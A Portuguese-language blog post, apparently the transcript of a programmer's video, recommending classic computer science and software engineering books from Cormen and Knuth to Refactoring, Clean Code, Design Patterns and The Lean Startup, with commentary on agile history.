<p>Desde que abri o canal, uma das perguntas mais frequentes, tipo que eu recebo no mínimo uma vez por semana é sobre quais cursos eu recomendo pra quem tá começando. E como eu já disse em vários videos: eu não recomendo nenhum, e na prática tanto faz qual. Nenhum curso vai ser completo, eles servem só pra ter dar um empurrão, mas nunca vão te ensinar tudo de qualquer assunto. A segunda pergunta que mais recebo complementa a primeira que é quais livros eu recomendo.</p>
<p>Muito do que você não vai aprender via cursos ou tutoriais está em livros. E não ache que dá pra pegar essa lista e sair lendo tudo de uma vez. Boa parte deles você vai lendo aos poucos ao longo dos seus primeiros 10 anos de carreira, porque você ainda não tem nem o conhecimento e nem a experiência pra entender de fato o que estão tentando te dizer.</p>
<p>Hoje vou listar alguns livros que eu pessoalmente acho importantes. Não é uma lista nem completa e nem definitiva, são livros que eu fui usando ao longo dos anos e que acho que podem te ajudar. E vou apresentar mais ou menos na ordem que conheci eles, cronologicamente, porque faz diferença quando eles foram lançados e em qual contexto. Prestem atenção ao contexto que vou falar mais do que na lista em si.</p>
<p>(&hellip;)</p>
<p>Vamos lá. Nenhum livro é obrigatório. Então não saiam por aí dizendo pros outros que o Akita falou então é pra ler. Os livros que vou falar hoje eu não li tudo de uma vez só, muitos nem li inteiro, e vim acumulando ao longo dos primeiros 10 a 15 anos da minha carreira, durante e depois da faculdade.</p>
<p>Ninguém vai conseguir ler e principalmente entender esses livros numa só leitura. Isso não é literatura, são livros de aprendizado e referência. Alguns temas dentro desses livros você só vai entender de verdade depois que passar por projetos reais e só daí vai vir o &ldquo;ahhhh, era isso que o livro queria dizer&rdquo;, aquele momento &ldquo;ahá&rdquo;.</p>
<p>Isso dito, se você assiste meu canal já deve imaginar que minha primeira recomendação é o livro do Cormen de Introdução a Algoritmos. Eu tenho esta terceira edição, não sei se tem mais novo, mas não importa. O maior problema de começar estudando e usando frameworks e bibliotecas pré-prontas é que elas evitam que você precise saber como são feitos, porque já vem tudo pré-pronto e escondido pra só usar.</p>
<p>Eu falei disso em videos anteriores e até mostrei, mas se usa uma lista ou collection em Javascript, você não tem idéia se por baixo tá implementado uma lista ligada, ou uma árvore Red Black ou o que. Você só adiciona elementos, remove elementos, manda ordenar e pára por aí. E isso vale pra qualquer outra coisa funcionalidade. Você usa uma biblioteca de caching do seu framework favorito, mas como é implementado? É uma fila simples? É uma fila circular? É uma árvore B-Tree? Que tipo de hashing ele usa? Pra você tanto faz, você só empilha e desempilha elementos e deixa o framework cuidar de tudo pra você.</p>
<p>Então toda vez que usa listas, manipula strings, usa threads ou fibers, caching e tudo mais, só confia que o framework sabe o que tá fazendo e não se preocupa. E isso é ok pra 80% dos casos, por isso que muito iniciante consegue ir até longe em alguns projetos sem nunca ter lido um único livro sobre algoritmos e estruturas de dados. Esse é o nível de um junior. Porém um sênior precisa lidar com problemas diferentes.</p>
<p>Otimização de performance, otimização de carga, reorganização e refatoração do código pra ser ao mesmo tempo mais fácil de dar manutenção e também mais performático, diminuir tempo de latência, diminuir uso de memória por requisição, resolver conflitos de versões de bibliotecas externas, fechar buracos de segurança e mais. E pra isso, você precisa saber como essas bibliotecas e frameworks funcionam por baixo, e pra isso, precisa da fundação, que começa em algoritmos e estruturas de dados.</p>
<p>Um livro como do Cormen não é completo. Ele fala de bastante coisa que você deveria saber, mas nenhum livro nunca vai ter tudo. E antes que vocês perguntem nos comentários ou fiquem me mandando DMs, não, não precisa ser o livro do Cormen. Eu mesmo não usei ele na faculdade. Eu aprendi o básico com um muito mais simples, este do Niklaus Wirth. Olha como é menor.</p>
<p>Diferente do Cormen, o livro do Wirth sequer entra no assunto de grafos, por exemplo. Além disso o Wirth escreveu o livro dele em 1986, já o Cormen e seus co-autores escreveram o deles em 2009. Por isso, no livro mais novo tem assuntos mais modernos, como multithreading, que ainda era um assunto que engatinhava nos anos 80.</p>
<p>Se você acha que precisa ter o livro mais completo de todos, ele não existe mas o mais próximo não é um livro, mas uma coleção de livros, do lendário Donald Knuth, o famoso The Art of Computer Programming, o magnum opus da ciência da computação que ele começou a escrever em 1962 e até hoje não terminou. Eu já falei dele em outro video mas os livros que eu tenho são do 1 ao 3 mais o 4A. Segundo a Wikipedia ele tá escrevendo os fascículos 5 e 6 que são os primeiros dois terços do volume 4B.</p>
<p>E quanto ainda falta pra acabar? Bom, depois do 4B ainda vai ter os volumes 4C e 4D e depois os volumes 5, 6 e 7. Ou seja, o que eu tenho aqui ainda não é nem metade do que seria a obra completa. Essa coleção é o Game of Thrones da computação, e o Knuth é o George R R Martin da nossa área. Todos cruzando os dedos pra ele conseguir terminar tudo. Os livros do Wirth e do Cormen eu diria que são um resumão do que seria os livros de 1 a 4D do Knuth.</p>
<p>Ou seja, os temas dos primeiros 7 volumes do Knuth, que incluem os volumes 4B a 4D que ele ainda não escreveu são o que você encontra no sillabus dos primeiros anos de um curso de ciência da computação. Começa com coisas como matemática básica, números, potências, logaritmos, teoria dos números, permutações, fatoriais, coeficientes binomiais, ou seja, não só o assunto de algoritmos mas temas de matemática que você aprende nos primeiros 2 anos de ciências da computação em matérias como Álgebra, Estatística e probabilidade.</p>
<p>No primeiro volume do Knuth você tem coisas básicas como pilhas, filas, listas ligadas, listas circulares, arrays, árvores binárias, que foram assuntos que eu detalhei alguns videos atrás. Por isso o primeiro volume se chama Algoritmos Fundamentais. Já o segundo volume complica um pouco mais. Ele se chama Algoritmos Seminuméricos e logo de cara o primeiro assunto no livro é definir números aleatórios.</p>
<p>Fazendo uma tangente, números aleatórios gerados por computador não são puramente aleatórios, são pseudo-aleatórios. Em qualquer linguagem moderna de programação você só usa uma função como Random e esquece, mas nesse livro você pode estudar como isso funciona. E nos capítulos seguintes ele vai discorrer sobre sistemas posicionais de números como aritmética de ponto flutuante, que foi outro assunto que já expliquei alguns videos atrás. E continua em assuntos como aritmética racional, aritmética polinomial.</p>
<p>E sim, essa coleção inteira é bem pesada em notação matemática. Se você não tá acostumado é absolutamente intimidador. Entendida toda a base matemática fundamental, só no volume 3, que é chamado de Ordenação e Procuram, é que vamos finalmente encontrar os algoritmos de ordenação como inserção, seleção e procura com temas como pesquisa binária e árvores balanceadas que eu também já mostrei alguns videos atrás.</p>
<p>Finalmente chegamos ao volume 4A que é chamado de Algoritmos de Combinatória Parte 1 que explica o básico de álgebra booleana, truques e técnicas de operações bitwise, diagramas de decisão binária e geração de todas as possibilidades onde entramos no assunto de n-tuplas, permutações, combinações, partições, conjuntos e muito mais. E isso é parte 1 porque o tema de Algoritmos de Combinatória vai se esticar nos próximos volumes ainda não escritos, do 4B ao 4D.</p>
<p>Só esses 4 volumes somam quase 3 mil páginas. Pra colocar em perspectiva, o livro do Cormen é menos da metade disso. Mas se prestou atenção vai notar que os livros do Knuth cobrem mais assuntos, em particular a base matemática. Livros mais focados só em algoritmos e estruturas de dados, como do Cormen, se preocupam menos com as provas matemáticas e mais em como cada elemento é implementado e funciona. Eu diria que é mais prático pra gente. Você só vai realmente ler página a página do Knuth se for se especializar em matemática aplicada ou algo assim.</p>
<p>Mas pra assuntos específicos, vale como referência se quiser descer a fundo. Por exemplo, como realmente números aleatórios são matematicamente definidos? Eu repito, a grande maioria de nós não tem o vocabulário de matemática teórica suficiente pra realmente conseguir absorver tudo do Knuth, por isso qualquer coisa perto do livro do Cormen é mais prático. Mesmo o Cormen é um pouco pesado em matemática, então qualquer livro de algoritmos e estruturas de dados é suficiente.</p>
<p>Mas e os livros de 5 a 7 que o Knuth ainda não escreveu? Os títulos parecem que vão ser Algoritmos Sintáticos, teoria de linguagens livres de contexto e técnicas de compiladores. Linguagens livres de contexto você vai cair no trabalho mais importante do Noam Chomsky - e na minha opinião, a única coisa que você precisa ler dele. Enfim, na realidade já existem livros que cobrem esses assuntos. Se você fez ciência da computação já sabe. Essa é minha segunda recomendação: o famoso livro do dragão, o Compiladores - Princípios, Técnicas e Ferramentas, do Aho, Ullman e outros, publicado em 1986.</p>
<p>Eu já falei em outros episódios sobre compiladores como GCC, e principalmente sobre uma das tecnologias mais importantes deste século: o LLVM, que se você pelo menos acompanha artigos técnicos, já ouviu falar diversas vezes. Eu explico sobre LLVM no episódio sobre a Apple e recomendo que assistam pra entender o contexto, mas é graças a LLVM que você tem linguagens como Swift, Rust, Crystal, Julia, linguagens de shaders pra GPU e muito mais. E pra entender LLVM você precisa entender compiladores e realmente como linguagens de programação são criadas.</p>
<p>Na prática, a menos que você pretenda criar sua própria linguagem do zero, não precisa saber o livro do Dragão de cabo a rabo. É mais pra entender os principais conceitos. Esse livro vai te explicar o que é análise léxica e ferramentas como Lex e você mesmo vai descobrir outras como o GNU Flex depois. Daí vai pular pra análise sintática e ferramentas como o Yacc e outros como o GNU Bison. O livro usa os antigos Lex e Yacc, na minha época da faculdade no meio dos anos 90 era Flex e Bison, mas hoje em dia existem ferramentas mais modernas.</p>
<p>Isso é só pra desenhar a linguagem e criar um parser, mas a partir daí tem que fazer a geração do código binário propriamente dito que passa por um código intermediário, otimizações independentes de máquina, paralelismo em nível de instrução, localidade, análise interprocedural. Se você me perguntar se eu ainda sei essas coisas, não, não lembro nem uma fração mais hoje. Mas os conceitos que guardei me ajudam a avaliar toda vez que uma nova linguagem aparece, eu consigo entender como funciona, o que procurar na linguagem, no compilador, no código final gerado e tudo mais.</p>
<p>Compiladores é um tema que você não deveria tentar aprender tudo de uma só vez. Compensa até começar com algum livro mais simples, curso online ou até um tutorial com ferramentas de mais alto nível que te permitem criar linguagens simples que não necessariamente vão ser performáticas, mas vão ajudar a &ldquo;molhar os dedos&rdquo; no assunto antes de aprofundar nos detalhes que tem no livro do dragão.</p>
<p>De qualquer forma, só faz sentido ter a ambição de escrever a própria linguagem se você estudou um pouco mais a fundo sobre linguagens. E não só &ldquo;ah, eu gosto de parênteses&rdquo; ou &ldquo;ah, eu prefiro não ter ponto e vírgula no fim das linhas&rdquo;. Design de linguagem é muito mais que isso. Um livro que talvez ajude a entender as features de uma linguagem é o The Design and Evolution of C++, do Bjarne Stroustrup que é o pai do C++.</p>
<p>Ele conta um pouco a história de como o Stroustrup se inspirou em C with Classes pra chegar ao C++ e justifica as funcionalidades que criou em cima disso como o gerenciamento de memória, herança múltipla, casting, templates, exceptions, namespaces e tudo mais que forma a base do C++ e depois serviu de inspiração pra implementar muitas das linguagens modernas que você usa como um Java ou C#.</p>
<p>Entender o pulo do C pro C++ pela visão do autor é interessante e também as primeiras interpretações sobre o que é orientação a objetos. C++ é uma linguagem que eu mesmo nunca usei muito profissionalmente, então eu mesmo sou amador, mas acho fascinante entender como se encaixa na história das linguagens de programação. Ela ainda é uma das linguagens mais usadas pra código de sistemas, tudo de mais importante que você usa é escrito com C e C++, seu Javascript é escrito em C++. E isso não vai mudar por um bom tempo ainda.</p>
<p>Daí pulamos um pouco do tema de ciências da computação e vamos um pouco pra engenharia de software. Eu já expliquei a diferença em outro video, mas aproveitando o gancho da orientação a objetos do C++ vale pelo menos mencionar outro livro, o Object Oriented Analysis and Design with Applications do Booch e outros autores.</p>
<p>Orientação a objetos é um tema super longo, bem mais complexo do que você aprende na faculdade e eu não vou detalhar tudo hoje. Dependendo da era que estudar você vai ter interpretações diferentes de muitos conceitos, mas o que muita gente chama de orientação a objetos deriva do vocabulário criado pelo Grady Booch, Ivar Jacobson e Jim Rumbaugh. Cada um deles tinha uma versão de definição de orientação a objetos e eles se juntaram pra compilar seus trabalhos numa obra só. O que se publicou dos anos 90 em diante deriva disso.</p>
<p>Esse livro em particular não é a obra definitiva nem nada disso, mas eu acho interessante que ele tenta justamente definir muito desse vocabulário, definir o que exatamente é uma classe, o que é um objeto, qual é a notação que se deveria usar pra comunicar um modelo de objetos. Algumas partes, em particular a seção 3 do livro que pode estar um pouco defasado porque ele tenta explicar esses conceitos usando exemplos de cinco aplicações que vão de um sistema de navegação de satélite até um sistema de rastreio de férias via web, definido com essa notação de objetos.</p>
<p>Eu digo defasado porque a forma como desenvolvemos aplicações e até a forma como modelamos classes e objetos mudou daquela época até hoje então alguma coisa ficou obsoleta mesmo, não tem jeito, mas muitos dos conceitos ainda valem hoje e principalmente o raciocínio e história por trás de porque eles definiram as coisas daquele jeito. Esse livro em particular vale mais pra capturar um momento da história do que pra ensinar todas as técnicas que você precisa saber.</p>
<p>Esse livro, na real, é opcional e complementar a outro livro mais conhecido que é o The Unified Software Development Process escrito pelos mesmos Los 3 Hermanos, o Jacobson, Booch e Rumbaugh. Ele define a famosa e famigerada notação UML mas, mais importante, define o processo de desenvolvimento de software conhecido como Unified Process ou até hoje o que você conhece como Rational Unified Process ou RUP.</p>
<p>Lembrando, esses livros foram escritos antes de 2001, nos anos 90, portanto antes do Manifesto Ágil, antes de cloud computing, antes de smartphones, antes ainda da primeira bolha da internet, literalmente na infância da Web. Então tudo que você conhece como formas modernas de desenvolvimento de software, que só nasceram nos últimos 20 anos, ainda não existiam nessa época. Mesmo assim, eu ainda acho que vale a pena ler o começo desse livro, porque muitos dos conceitos de engenharia de software que você usa são derivados dessa época.</p>
<p>Em particular, eu já falei em outros episódios que pra mim um bom exemplo de linguagem orientada a objetos, por incrível que pareça é o Erlang, em particular o Elixir. Muita gente pensa em Elixir como uma linguagem funcional, mas pra mim é o contrário. Ele é primeiro uma linguagem orientada a objetos que por acaso tem aspectos funcionais. Eu argumentaria que Elixir e Erlang são mais orientados a objetos do que Java, que muita gente ainda pensa como a referência em objetos. Se você não entendeu isso, ainda precisa estudar mais.</p>
<p>Um dos argumentos sobre Erlang é que logo no prefácio desse livro, eles contam sobre o case da Ericsson, que é a inspiração do Unified Process. Se você não sabe, o “ER” de Erlang é de Ericsson. Os autores argumentam que o sistema de telecomunicações deles era tão bom porque modelaram o sistema inteiro como um conjunto de blocos interconectados, o que em UML se chamaria de componentes ou sub-sistemas. E eles foram montando blocos de baixo nível e subindo pra sub-sistemas de alto nível pra tornar o sistema mais fácil de gerenciar e foram encontrando esses blocos trabalhando pelos casos de tráfego anteriores - o que hoje se chamaria em UML de &ldquo;casos de uso&rdquo;.</p>
<p>O caso da Ericsson é relevante pro assunto de orientação a objetos porque quem trabalhou lá foi justamente um dos co-autores desse livro, o Jacobson, que saiu em 1987 e fundou a empresa Objectory e nos anos seguintes ele e alguns colaboradores desenvolveram um processo chamado Objectory também pra servir pra mais casos além de telecomunicações, e foi aí que coisas como &ldquo;casos de uso&rdquo; ganharam esse nome.</p>
<p>Alguns anos depois, em 1995 a empresa Rational Software Corporation comprou a Objectory e eles trabalharam em juntar os dois processos que tinham e chegaram primeiro no Rational Objectory Process. Depois disso que o Booch, Rumbaugh e Jacobson colaboraram pra criar o Unified Modeling Language, o UML, pra ter uma linguagem visual pra comunicar as idéias sobre objetos e finalmente chegaram no Unified Process ou Rational Unified Process, que é o RUP, que muitos que fizeram engenharia de software devem ter estudado.</p>
<p>Em 2021 raramente você vai ver alguma empresa usando fortemente UML e RUP em projetos. Pelo menos eu espero que não. Talvez em empresas antiquadas e altamente burocráticas, mas em tech startups é bem raro encontrar. Mas muito do vocabulário e notações que usamos até em rascunhos numa lousa são derivados do UML. Muito da engenharia de software moderna ainda usa os nomes originais, como &ldquo;casos de uso&rdquo; por exemplo, ou diagrama de componentes. O que eles chamavam de sub-sistemas você poderia chamar hoje de micro-serviços e assim vai.</p>
<p>Se quiser aprender esse vocabulário sem perder muito tempo no detalhamento do processo em si, que ninguém mais usa como antigamente, você pode pular direto pra outro livro bem menor, de menos de 200 páginas, chamado UML Distilled do Martin Fowler, que é basicamente um resumão de UML e RUP. Ele tem só o que o Fowler acha que é mais relevante alguém saber, é quase um cheat sheet sobre UML.</p>
<p>Levou alguns anos, até demais na minha opinião, pras pessoas entenderem que seguir algo como um RUP ao pé da letra era absolutamente burocrático e improdutivo. A gente tava mais preocupado em rastrear, gerenciar e aprovar artefatos, como diagramas, do que com o código em si. É uma das grandes críticas em relação ao campo da orientação a objetos em geral.</p>
<p>Falando em Martin Fowler, ele foi um dos escritores mais prolixos e influentes do fim dos anos 90 até pelo menos o meio dos anos 2000 e um dos seus livros mais importantes parece uma reação contra o que um RUP representa. Esse livro obviamente é o Refactoring, publicado em 1999. E hoje em dia todo mundo fala em refatorar, refatorar, mas quantos de vocês conseguem definir o que é refatorar? Qual a diferença entre refatorar e reescrever?</p>
<p>Nas palavras do próprio Fowler, refatorar é o processo de mudar um software de tal maneira que isso não altere o comportamento externo do código e mesmo assim melhore a estrutura interna. É uma forma &ldquo;disciplinada&rdquo; de limpar código que minimiza as chances de introduzir bugs. Em essência, quando você refatora, está melhorando o design do código depois que ele foi escrito. Muita gente falando “refatoração” na verdade está querendo dizer “reescrever”, que não é um processo disciplinado de melhoria sem mudar comportamento, é literalmente jogar fora e escrever de novo de outro jeito, com outro comportamento, e não garante nenhuma melhoria.</p>
<p>E não é à toa que o Martin, junto com outros autores como Kent Beck, são signatários do Manifesto Ágil. Em metodologias antigas de engenharia de software, onde o RUP se inclui, a ideia principal é primeiro criar o design inteiro do software, por exemplo desenhando com diagramas com UML. E só depois que o design estiver perfeito que se começa a escrever o código. Ou até mesmo daria pra gerar automaticamente esse código a partir dos diagramas. Eles consideram design e codificação como duas etapas separadas. Mesmo tendo coisas como iteração no processo, as etapas em si ainda são conceitualmente separadas. Muitas empresas tentaram criar ferramentas que partiam dos diagramas de classes e tudo mais de UML e geravam código em Java da vida.</p>
<p>Essa ideia nunca funcionou direito e a gente foi entendendo melhor porque depois da virada do século, depois que começamos a ideia de agilidade. A premissa errada é achar que é possível criar um design perfeito em papel primeiro e depois o código seria só um reflexo direto desse design. Na realidade o código &ldquo;é&rdquo; o design e ele nunca vai estar perfeito, muito menos na primeira vez. Daí vem a ideia de fazer o primeiro código que funciona primeiro, que provavelmente vai ser um código ruim, e só depois, disciplinadamente, refatorar esse código até termos uma estrutura que seja livre de bugs e de mais fácil manutenção.</p>
<p>Aliás, vale aproveitar pra dizer que muita gente pensa que primeiro nasceu o Manifesto Ágil em 2001 e só depois começamos a entender o que são técnicas ágeis, mas é o contrário. Primeiro os signatários do manifesto passaram anos praticando, formulando as técnicas e documentando, durante os anos 80 e 90 principalmente, e só depois que isso deu origem ao Manifesto. Essa ordem é importante, porque o Manifesto é só um resuminho de 20 anos de experiência de cada um deles que veio antes.</p>
<p>Na indústria mais tradicional, por décadas sempre se tentou o conceito de design primeiro e código depois. Lá atrás a gente desenhava software com fluxogramas em linguagens procedurais, por exemplo. E isso fazia sentido porque debugar software depois era custoso, difícil, tedioso. As linguagens antigas eram fortran, cobol, algol, Ada ou C. Nenhum programador nos anos 70 e antes tinha um notebook multi-core com gigabytes de RAM. Não, eles tinham que compartilhar um único computador grande com vários outros engenheiros e programar a partir de terminais remotos.</p>
<p>Esses terminais eram lentos, ninguém tinha um VS Code ou Sublime Text da vida. O editor VI original foi criado justamente pra ser super otimizado pra desenhar o mínimo possível na tela e permitir navegar no código com o mínimo de comandos. Porque cada comando navegava numa rede lenta até um computador compartilhado lento que tinha no máximo kilobytes de RAM. Portanto, você gostaria que o código funcionasse de primeira, não era produtivo ficar debugando e &ldquo;refatorando&rdquo; o código depois.</p>
<p>O que aconteceu nos anos 90 até os 2000 é que microcomputadores apareceram e ficaram consideravelmente potentes, internet e rede mais veloz apareceu, e agora era factível você rodar um sistema inteiro no seu computador pessoal antes de rodar no servidor da empresa. Fazer o design antecipadamente era crucial nas décadas de 60 a 80, mas depois disso a tecnologia avançou o suficiente pra gente conseguir fazer código ruim primeiro e refatorar depois pra ter código bom, então o design e o código passaram a ser um processo orgânico de melhoria contínua. Isso é uma interpretação minha, mas eu diria que “Agile” marca quando separávamos design e código em etapas distintas pra serem unidos em design emergente.</p>
<p>Falando em processos ágeis, se tiver só um livro que você queira ler, que seja o Extreme Programming Explained, do Kent Beck, também de 1999. Veja que em 1999 e 2000 que começou a aparecer mais livros sobre esse novo jeito de programar que vinha sendo praticado fazia mais de 10 anos, que culminaria com o manifesto ágil em 2001 e muito do que você considera técnicas de engenharia de software modernas como pair programming, test driven development, continuous integration, refactoring, small releases, nascem nele.</p>
<p>Engenharia de software é um campo em constante mudança. Dependendo de que ano é a literatura que você está estudando, vai cair nos RUP da vida ou vai cair em derivados de Extreme Programming. A ideia não é dizer que os conceitos dos anos 90 estavam errados. Eles faziam sentido pras circunstâncias da época e vale a pena entender porque.</p>
<p>Vocês podem ver que alguns livros e temas envelhecem melhor que outros. Uma coisa que me ocorreu gravando esse video é que se você prestou atenção, note que livros de ciência da computação tendem a envelhecer melhor que livros de engenharia de software. Livros de ciência da computação de 30 anos atrás ainda se aproveitam hoje, mas livros de engenharia de software de 30 anos atrás, estão obsoletos.</p>
<p>Até hoje ainda não temos &ldquo;o&rdquo; melhor jeito de escrever software, estamos constantemente mudando os processos de como transformar idéias em código. Mas as peças fundamentais que usamos pra construir essas idéias ainda continuam válidas. Na ciência da computação o conhecimento meio que vai se estendendo mas não jogando muita coisa fora pelo caminho.</p>
<p>Uma parte disso é porque as teorias matemáticas que embasam coisas como algoritmos, uma vez provadas, variam muito pouco na implementação. É o trabalho de caras como Knuth. Uma árvore balanceada, seja feita em C ou seja em Kotlin, continua sendo uma árvore balanceada. Linguagens diferentes mas as características continuam as mesmas. É um dos motivos de porque linguagens funcionais ganharam algum destaque nos últimos anos. Muitos tentam trazer esse rigor matemático, como de lambda calculus, pros processos de como escrever código. Mas escrever código não é uma ciência exata, é um processo aberto à interpretação.</p>
<p>O problema é que código não é só rápido, ou seguro. Em engenharia a gente tenta buscar várias características como mantenabilidade, flexibilidade, portabilidade, reusabilidade, legibilidade, testabilidade, segurança e assim por diante. Você pode escrever o código mais seguro possível, mas vai prejudicar a flexibilidade e reusabilidade, e assim por diante. O desafio de um programador é balancear essas características, e isso é difícil porque depende de quais problemas você precisa realmente resolver com esse código. E pior, os requerimentos desse código mudam conforme o software é usado.</p>
<p>Num primeiro momento a prioridade pode ser eficiência, mas depois de um tempo a prioridade passa a ser segurança, depois passa a ser mantenabilidade. Então o código precisa ser modificado ao longo do tempo, o design desse código vai mudando conforme as necessidades vão mudando. Por isso, nenhum código está 100% pronto e congelado pra sempre. E repetindo, por isso é quase impossível fazer um design perfeito antes do código.</p>
<p>Muito amador ainda acha que código, se rodar, tá ótimo, não importa se tá sujo, com nomenclaturas toscas, com alta complexidade. &ldquo;Ah, roda, então foda-se&rdquo;. Código que roda, mas é sujo, com baixa mantenabilidade, é lixo, pode jogar fora. Não adianta nada rodar se amanhã você precisar estender, consertar, reusar. Daí mais atrapalha que ajuda. É lixo. Não basta rodar,  precisa estar limpo o suficiente pra quando outro programador for reusar, não vai sofrer.</p>
<p>Se você quiser um livro mais estruturado com a melhor forma de escrever código e como se comportar como um bom profissional, o melhor livro pra começar é de outro agilista, o controverso Robert Martin, vulgo Uncle Bob. Ele é outro escritor prolixo e seu livro mais conhecido é sem dúvida o Clean Code, ou Código Limpo. E o conteúdo é parecido com o Code Complete do McConnell mas bem mais atual.</p>
<p>Ele toca em coisas tipo, como criar nomes de variáveis, funções que sejam fáceis de entender. E segue falando de todas as boas práticas que deveriam ser óbvios pra todo profissional: escrever funções com corpo curto, código bem formatado e legível, como escrever código que lida com exceções, como criar fronteiras claras entre diferentes módulos, como fazer testes unitários, um pouco sobre organização de classes em linguagens orientadas a objetos, noções de design emergente, ou seja, design que emerge à medida que você escreve código, testa e refatora.</p>
<p>Eu diria que se você quer ser um bom profissional, no mínimo tem que escrever código limpo como o Bob Martin ensina E falando em profissionalismo, um livro mais recente dele que lida com temas mais sobre como trabalhar em equipe, como gerenciar tempo, como fazer estimativas e coisas assim é o Clean Coder, ou Programador Limpo. Esse eu mesmo não cheguei a ler, mas pelo pouco que vi, acho que pode ser útil pra quem tá começando na profissão e ainda não sabe exatamente quais são suas responsabilidades perante seus colegas e projetos.</p>
<p>Outro livro com tema similar é um grande clássico que fez 20 anos recentemente, escrito por outros dois agilistas, Dave Thomas e Andy Hunt, o famoso The Pragmatic Programmer. Se o Clean Code e o Clean Coder do Bob Martin são meio que um manifesto do profissional de código, o The Pragmatic Programmer é uma mistura dos dois e tenta explicar a filosofia de um programador pragmático. Eles discorrem sobre como lidar com resolução de problemas de software, tocam em assuntos de agilidade de novo como testes, como escrever código limpo.</p>
<p>Se você assistiu meu episódio intitulado Esqueça Metodologias Ágeis, já sabe que estamos numa era pós-Agile. Os conceitos e técnicas originais de agilidade são simples, mas diversas empresas e consultorias sequestraram o termo &ldquo;ágil&rdquo; e inventaram um monte de metodologias e ferramentas burocráticas que nos levaram de volta à época do RUP e UML.</p>
<p>Se você quer saber o que é realmente ser Ágil, deve ler os autores originais e não trabalhos derivados. Em particular Martin Fowler, Kent Beck, Bob Martin, Dave Thomas e Andy Hunt, que são todos os livros que eu recomendei até agora. Leia os livros deles e você vai estar meio caminho andado pra conseguir distinguir ágil de verdade das bullshitagens de coach de consultoria ágil por aí.</p>
<p>Muitos já me pediram pra falar sobre alguns desses temas, como testes. Ainda não sei se vou fazer um video disso porque é um tema tão bem documentado já que você só não aprende se fizer esforço pra ignorar. E repetindo: leia sobre assuntos de agilidade a partir dos autores originais. Quer saber sobre testes? Comece com Kent Beck e seus livros de Extreme Programming, não tem que inventar moda.</p>
<p>Tem três outros livros que vale mencionar. Uma coisa que vocês só vão realmente entender lendo e escrevendo muito código de verdade é sobre a diferença entre design e código e como design emerge a partir do código e de seu uso, como eu já disse. Num primeiro momento, se está começando os estudos, não pense que vai conseguir pré-planejar todos os aspectos de um software antes de escrever uma linha de código. Não vai. E os próximos livros podem confundir vocês nisso.</p>
<p>O primeiro é o clássico Design Patterns, escrito pelo Erich Gamma e sua gangue dos quatro. No tema de achar que dá pra planejar em detalhes antes de codificar, esse é o primeiro livro mal interpretado. Cansei de ver amador com esse livro embaixo do braço querendo pagar de arquiteto e falando bullshitagens como &ldquo;vamos fazer esse módulo usando alguns decorators pra montar um adapter que vai sair de um factory que vai ser um singleton derivado de um command de um chain of responsability suportado por um observer&rdquo;. Bleh.</p>
<p>Eu já expliquei isso no fim do meu video sobre como aprendi inglês, mas vou repetir. A tradução do título desse livro em português é &ldquo;Padrões de Design&rdquo;. Dá a impressão que esse livro tem todos os padrões, no sentido de as melhores peças, ou as peças definitivas, pra se fazer design de software. O problema é que a palavra &ldquo;padrão&rdquo; em português pode ser traduzida em 3 palavras diferentes em inglês, standard, default ou pattern.</p>
<p>Muita gente pensa que &ldquo;padrão&rdquo; é o standard. E standard é como você pensou mesmo: um padrão oficial, uma definição definitiva sobre alguma coisa. Mas estamos falando de &ldquo;pattern&rdquo;, e pattern é só alguma coisa que se repete muito, independente se é boa ou ruim e definitivamente não é o &ldquo;padrão definitivo&rdquo;. O livro de Design Patterns é um catálogo de patterns, de repetições que os autores viram muito em diversos projetos, e simplesmente deram um nome pra eles. Só isso, nada mais, nada menos.</p>
<p>Esse livro foi publicado em 1994, um ano antes de entrar na faculdade. E eu só fui conhecer ele alguns anos depois, lá por 1998. Nesse momento eu já tava programando faz alguns anos e quando vi o livro, em inglês, foi exatamente o que pensei. &ldquo;Oras, o livro só dá nome pra coisa que já vi várias vezes&rdquo;. Por exemplo, quem mexia com emuladores naturalmente reconhecia o Design Pattern Adapter. Toda vez que troco a biblioteca opengl do game por um directx é meio que um Adapter.</p>
<p>Design Patterns é um catálogo, e não um manual de como fazer design. Se você já programou tempo suficiente, só vai descobrir que alguns trechos de código que já viu várias vezes por acaso tem nomes, como Singletons, ou Visitors. Esse livro é útil somente pra nos dar um vocabulário comum pra ficar mais fácil pra dois programadores comunicarem um conceito com um nome comum. E ele nem é o catálogo mais completo, existem diversos outros patterns que não estão nesse livro. Vide livros como Patterns of Enterprise Applications Architecture do próprio Martin Fowler.</p>
<p>Falando em arquitetura, outro livro que alguns podem usar errado pensando que é um manual de instruções é o Domain Driven Design do Eric Evans, publicado em 2003. Nas palavras do Martin Fowler, esse livro descreve uma forma de desenvolvimento de software centrado num modelo de domínio que tem um entendimento rico dos processos e regras desse domínio. Em resumo bem resumido, é mais um livro que orienta em como dar nome pras coisas e como organizar essas coisas.</p>
<p>Assim como Design Patterns, ele nos dá novos vocabulários pra descrever sistemas como Ubiquitous Language, Aggregates, Bounded Contexts e outras classificações, mas enxergando mais o big picture de um sistema em vez de só pequenos componentes. Bounded Contexts em particular é interessante porque descreve um pattern que aparece em muitos sistemas.</p>
<p>Por exemplo, imagine que você tem um sub-sistema que tem contexto de Vendas e outro sub-sistema com contexto de Suporte. No de vendas você tem entidades como Vendedor, Oportunidade. No de suporte tem entidades como ticket, defeitos. Mas no bound, na fronteira entre os dois sub-sistemas ele compartilham entidades como o usuário ou o produto.</p>
<p>Começa a ficar difícil de lidar com sistemas que crescem se num sub-sistema você chama usuário de cliente e no outro sub-sistema você chama de comprador, por exemplo. Parte da idéia de DDD é criar um linguagem ubíquita, comum entre desenvolvedores e usuários. Enfim, como eu disse antes, ele se preocupa muito com a arte de dar bons nomes pras coisas. Não é à toa que a gente brinca que uma das coisas mais difíceis da computação é dar nomes pras coisas.</p>
<p>O terceiro e último livro, por incrível que pareça acho que é a cola que une todos os livros de engenharia que falei até aqui. É o famigerado The Lean Startup, do Eric Ries, publicado em 2011. Foi exatamente quando começou a atual bolha de tech startups e esse livro apareceu na hora certa pra se tornar meio que a bíblia das novas tech startups. É um livro meio que de empreendedorismo, é superficial, e por causa disso muita gente interpreta do jeito errado. Próxima pessoa que falar que “validou” a idéia fazendo pesquisa com uma dúzia de pessoas, eu juro que eu chuto.</p>
<p>De qualquer forma, ele fala algumas coisas que são relevantes pra engenharia de software. Você pode estudar orientação a objetos, processos de desenvolvimento de software, metodologias ágeis, como fazer código limpo, como modelar sistemas com DDD, mas se você não entende o mínimo de negócios, seu software sempre vai ser ruim. Porque o melhor software é aquele que resolve problemas do mundo real, e não do mundo teórico.</p>
